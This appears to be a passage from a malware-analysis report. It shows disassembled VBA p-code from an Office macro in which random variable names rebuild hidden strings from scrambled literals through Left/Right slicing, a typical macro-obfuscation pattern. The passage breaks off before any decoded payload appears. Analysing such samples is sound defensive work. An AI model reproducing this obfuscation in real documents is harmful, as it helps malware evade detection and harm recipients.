' LitStr 0x006C "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4djPCxlMWJPzUjjDRabhcrQyCSBt1j8D1MfWwgnXHg4jhQhdT51hO076GA6GSzswsOVbdzGLSX"
' St TiEHf
' Line #43:
' Ld TiEHf
' LitDI2 0x0049
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Ld TiEHf
' LitDI2 0x003B
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld TiEHf
' LitDI2 0x002A
' ArgsLd Right 0x0002
' LitDI2 0x000F
' ArgsLd Left 0x0002
' Add
' Ld TiEHf
' LitDI2 0x0018
' ArgsLd Right 0x0002
' LitDI2 0x0010
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld TiEHf
' LitDI2 0x0035
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' St kpRdzi
' Line #44:
' Line #45:
' LitStr 0x0069 "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xVASuPCxlMWJPzUjwYRabmjsuyCSBt1j7OOHRKaziAo/sYbCxdgYHrYI/AraTqewLnABVbdzG"
' St tmORMwBXTN
' Line #46:
' Ld tmORMwBXTN
' LitDI2 0x0047
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Ld tmORMwBXTN
' LitDI2 0x0039
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Add
' Ld tmORMwBXTN
' LitDI2 0x0029
' ArgsLd Right 0x0002
' LitDI2 0x000F
' ArgsLd Left 0x0002
' Add
' Ld tmORMwBXTN
' LitDI2 0x0017
' ArgsLd Right 0x0002
' LitDI2 0x000F
' ArgsLd Left 0x0002
' Add
' Ld tmORMwBXTN
' LitDI2 0x0034
' ArgsLd Right 0x0002
' LitDI2 0x0002
' ArgsLd Left 0x0002
' Add
' St EicwIEhO
' Line #47:
' Line #48:
' LitStr 0x0027 "jvudqW7buOuYgfxhGRW9CBUKo8Gznwi4RJBVZ2x"
' St zSVUS
' Line #49:
' Ld zSVUS
' LitDI2 0x001B
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Ld zSVUS
' LitDI2 0x0015
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld zSVUS
' LitDI2 0x000F
' ArgsLd Right 0x0002
' LitDI2 0x0005
' ArgsLd Left 0x0002
' Add
' Ld zSVUS
' LitDI2 0x0009
' ArgsLd Right 0x0002
' LitDI2 0x0006
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' St hHjZJiO
' Line #50:
' Line #51:
' LitDI2 0x002B
' ArgsLd Chr 0x0001
' St MQSLw
' Line #52:
' LitStr 0x0048 "7buOuY6fxhGRO9CBUK18uEhsBSMDdEZ2VV4Su8CxlMWJwoHfILO2j2cs8lN/LqwgSV3t5jH5"
' St ZoCFTPpwdS
' Line #53:
' Ld ZoCFTPpwdS
' LitDI2 0x0031
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Ld ZoCFTPpwdS
' LitDI2 0x0028
' ArgsLd Right 0x0002
' LitDI2 0x0001
' ArgsLd Left 0x0002
' Coerce (Str)
' Add
' Ld ZoCFTPpwdS
' LitDI2 0x001C
' ArgsLd Right 0x0002
' LitDI2 0x000A
' ArgsLd Left 0x0002
' Add
' Ld ZoCFTPpwdS
' LitDI2 0x0010
' ArgsLd Right 0x0002
' LitDI2 0x000B
' ArgsLd Left 0x0002
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.